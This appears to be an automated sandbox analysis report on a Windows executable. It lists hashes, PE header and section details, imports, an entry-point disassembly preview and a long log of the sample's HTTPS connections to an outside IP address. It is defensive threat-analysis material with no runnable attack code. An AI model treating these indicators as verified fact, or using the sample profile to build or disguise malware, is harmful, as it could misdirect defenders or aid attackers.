File size:	30'886'912 bytes
MD5:	12771744b7de8ffb1f0dddf3ac8ed2f4
SHA1:	c05938c681c3c840a9e484bed33c48fcd033dd27
SHA256:	4df10f78a78892fea0c94ef9aca83ddac4045a1b2bec807f4bf563ac14551224
SHA512:	d4ec616cb51388ac364bf6d5abbf2dfe25010f8fdcbd5ae8d90e6b79a9789ca76006432f903355305a95d4730955762113c8b4471227b42823a87ddd83ce375e
SSDEEP:	3072:Y+JwGTjkeMwWO4Y7gDRq1OLNjXlQSupp:ZJTjkDwWNYLItXtcp
TLSH:	6D671615262000A5F71A87348956F9D0A6A67C794BE4E2CFE2387D3ADE321C3593B61F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............._..._..._..._..._..._..._..5_..._..8_..._..._..._..._..._..p_..._..6_..._Rich..._................PE..d.....XZ..........#

File Icon


Icon Hash:	8a80809292808001

Static PE Info

General

Entrypoint:	0x140004e80
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5A587FC5 [Fri Jan 12 09:28:37 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	31cc4901c4470c461b7b4afe57ed63f3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F9045264AA4h
dec eax
add esp, 28h
jmp 00007F904525ED36h
int3
int3
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 00000088h
dec eax
lea ecx, dword ptr [0000D4B9h]
call dword ptr [000082E3h]
dec eax
mov eax, dword ptr [0000D5A4h]
dec eax
mov dword ptr [esp+58h], eax
inc ebp
xor eax, eax
dec eax
lea edx, dword ptr [esp+60h]
dec eax
mov ecx, dword ptr [esp+58h]
call 00007F904526A1F6h
dec eax
mov dword ptr [esp+50h], eax
dec eax
cmp dword ptr [esp+50h], 00000000h
je 00007F9045262B93h
dec eax
mov dword ptr [esp+38h], 00000000h
dec eax
lea eax, dword ptr [esp+48h]
dec eax
mov dword ptr [esp+30h], eax
dec eax
lea eax, dword ptr [esp+40h]
dec eax
mov dword ptr [esp+28h], eax
dec eax
lea eax, dword ptr [0000D464h]
dec eax
mov dword ptr [esp+20h], eax
dec esp
mov ecx, dword ptr [esp+50h]
dec esp
mov eax, dword ptr [esp+58h]
dec eax
mov edx, dword ptr [esp+60h]
xor ecx, ecx
call 00007F904526A1A4h
jmp 00007F9045262B74h
dec eax
mov eax, dword ptr [esp+00000088h]
dec eax
mov dword ptr [0000D530h], eax
dec eax
lea eax, dword ptr [esp+00000088h]
dec eax
add eax, 08h
dec eax
mov dword ptr [0000D4BDh], eax
dec eax
mov eax, dword ptr [0000D516h]
dec eax
mov dword ptr [0000D387h], eax

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[ASM] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf904	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d6f000	0xc088	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d6e000	0x858	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d7c000	0x160	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xd3b0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd000	0x338	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb776	0xb800	7562aea4300b0a660a5939f140fe62b6	False	0.516007133152174	data	6.198028056797998	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x33c6	0x3400	10fbb23f485a7b3126f7bd500efc4e97	False	0.36478365384615385	data	4.729795884700604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11000	0x1d5c840	0x1d58c00	9a3be4c4122c6caa02f074abffb2f21f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d6e000	0x858	0xa00	944d1977c688c60d0d795e2506ac3238	False	0.41875	data	3.893632257077923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1d6f000	0xc088	0xc200	8a3ee32d65f93c0456a6a64a275d151b	False	0.12808070231958762	data	4.363440716953925	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1d7c000	0x34a	0x400	afef91ea5ec9e1735d279b4047d87ed6	False	0.279296875	data	2.4933342466924753	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1d6f508	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.14650537634408603
RT_ICON	0x1d6f7f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.30405405405405406
RT_ICON	0x1d6f918	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.3070362473347548
RT_ICON	0x1d707c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4842057761732852
RT_ICON	0x1d71068	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.3670520231213873
RT_ICON	0x1d715d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.1087136929460581
RT_ICON	0x1d73b78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.23170731707317074
RT_ICON	0x1d74c20	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.3599290780141844
RT_ICON	0x1d75088	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.14650537634408603
RT_ICON	0x1d75370	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.30405405405405406
RT_ICON	0x1d75498	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.3070362473347548
RT_ICON	0x1d76340	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.4842057761732852
RT_ICON	0x1d76be8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.3670520231213873
RT_ICON	0x1d77150	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.1087136929460581
RT_ICON	0x1d796f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.23170731707317074
RT_ICON	0x1d7a7a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.3599290780141844
RT_MENU	0x1d7ac08	0x8e	data	English	United States	0.6971830985915493
RT_DIALOG	0x1d7ac98	0x150	data	English	United States	0.5833333333333334
RT_STRING	0x1d7ade8	0x42	data	English	United States	0.6363636363636364
RT_ACCELERATOR	0x1d7ae2c	0x10	data	English	United States	1.25
RT_GROUP_ICON	0x1d7ae3c	0x76	data	English	United States	0.6440677966101694
RT_GROUP_ICON	0x1d7aeb4	0x76	data	English	United States	0.6610169491525424
RT_MANIFEST	0x1d7af2c	0x15a	ASCII text, with CRLF line terminators	English	United States	0.5491329479768786

Imports

DLL	Import
KERNEL32.dll	CreateMutexW, GetLastError, OutputDebugStringW, SetProcessShutdownParameters, ReleaseMutex, GetCommandLineW, GetModuleFileNameW, LoadLibraryW, GetProcAddress, FreeLibrary, WritePrivateProfileStringW, GetSystemDirectoryW, CreateFileW, CloseHandle, ExitProcess, CreateThread, OpenFileMappingW, MapViewOfFile, GetStdHandle, OpenProcess, WaitForSingleObject, FlushFileBuffers, HeapSize, HeapReAlloc, HeapAlloc, GetStringTypeW, LCMapStringW, WriteConsoleW, SetStdHandle, MultiByteToWideChar, Sleep, HeapFree, IsValidCodePage, GetOEMCP, GetACP, GetCPInfo, LeaveCriticalSection, EnterCriticalSection, GetConsoleMode, GetConsoleCP, WideCharToMultiByte, SetFilePointer, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, EncodePointer, DecodePointer, GetModuleHandleW, WriteFile, RtlUnwindEx, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, FlsGetValue, FlsSetValue, FlsFree, SetLastError, GetCurrentThreadId, FlsAlloc, HeapSetInformation, GetVersion, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, VirtualAlloc
USER32.dll	SendMessageW, FindWindowW, MessageBoxW, EndDialog, PostQuitMessage, EndPaint, BeginPaint, DefWindowProcW, DestroyWindow, UpdateWindow, ShowWindow, CreateWindowExW, RegisterClassExW, LoadCursorW, LoadIconW, DispatchMessageW, TranslateMessage, TranslateAcceleratorW, GetMessageW, LoadAcceleratorsW, LoadStringW, DialogBoxParamW
SHELL32.dll	SHCreateDirectoryExW, SHGetFolderPathW, CommandLineToArgvW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 04:15:31.094289064 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:31.094336987 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:31.094436884 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:31.134723902 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:31.134752035 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.375957012 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.376142025 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.376801968 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.376866102 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.458097935 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.458137035 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.458538055 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.461134911 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.464088917 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.507342100 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.784462929 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.784557104 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.784585953 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.784625053 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.791194916 CET	49708	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.791217089 CET	443	49708	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.898245096 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.898283958 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:32.898376942 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.898647070 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:32.898658037 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.112071037 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.112207890 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.112827063 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.112838984 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.113066912 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.113080978 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.444412947 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.444437981 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.444492102 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.444504976 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.444519997 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.444552898 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.444926023 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.444981098 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.445472002 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.445540905 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.446089029 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.446146965 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.531137943 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.531197071 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.531264067 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.531275034 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.531429052 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.531429052 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.533062935 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.533128023 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.533343077 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.533397913 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.533602953 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.533651114 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.533833981 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.533889055 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.534065008 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.534151077 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.534928083 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.534980059 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.535007954 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.535058022 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.618067026 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.618123055 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.618196964 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.618208885 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.618253946 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.618274927 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.618480921 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.618583918 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.618707895 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.618766069 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.618781090 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.618851900 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.619740963 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.619786024 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.619817972 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.619824886 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.619885921 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.619885921 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.620482922 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.620554924 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.621181965 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.621227980 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.621241093 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.621247053 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.621284008 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.621320009 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.622145891 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.622191906 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.622204065 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.622210979 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.622270107 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.623079062 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.623121977 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.623143911 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.623150110 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.623164892 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.623203039 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.624022961 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.624084949 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.704840899 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.704891920 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.704972029 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.704996109 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705012083 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705041885 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705070972 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705117941 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705121040 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705132008 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705168962 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705300093 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705353022 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705415010 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705459118 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705465078 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705482960 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.705504894 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.705527067 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.726413012 CET	49709	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.726430893 CET	443	49709	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.760814905 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.760900021 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:34.760992050 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.761221886 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:34.761244059 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:35.997982979 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:35.998172998 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:35.998789072 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:35.998810053 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:35.999011040 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:35.999017000 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.328872919 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.328907013 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.329022884 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.329052925 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.329102993 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.329396963 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.329457045 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.330734968 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.330809116 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.334475040 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.334547997 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.420346022 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.420494080 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.420672894 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.420743942 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.420838118 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.420897007 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.421647072 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.421689987 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.421724081 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.421753883 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.421777010 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.421797991 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.422611952 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.422691107 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.424171925 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.424209118 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.424237967 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.424263954 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.424283028 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.424299955 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.425950050 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.426026106 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.511885881 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.512013912 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.512104034 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.512161016 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.512878895 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.512912989 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.512936115 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.512948990 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.512960911 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.512985945 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.513422012 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.513483047 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.513616085 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.513657093 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.513669014 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.513674974 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.513695955 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.513705015 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.513724089 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.513726950 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.513748884 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.513775110 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.514287949 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514332056 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514343977 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.514352083 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514373064 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514398098 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.514411926 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514434099 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.514439106 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514457941 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.514466047 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514472961 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.514478922 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.514513016 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.515609980 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.515659094 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.517978907 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.518023968 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.518047094 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.518054008 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.518079042 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.518095016 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.604499102 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.604559898 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.604631901 CET	443	49710	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.604631901 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.604686022 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.616168022 CET	49710	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.616184950 CET	443	49710	39.103.20.48	192.168.2.8
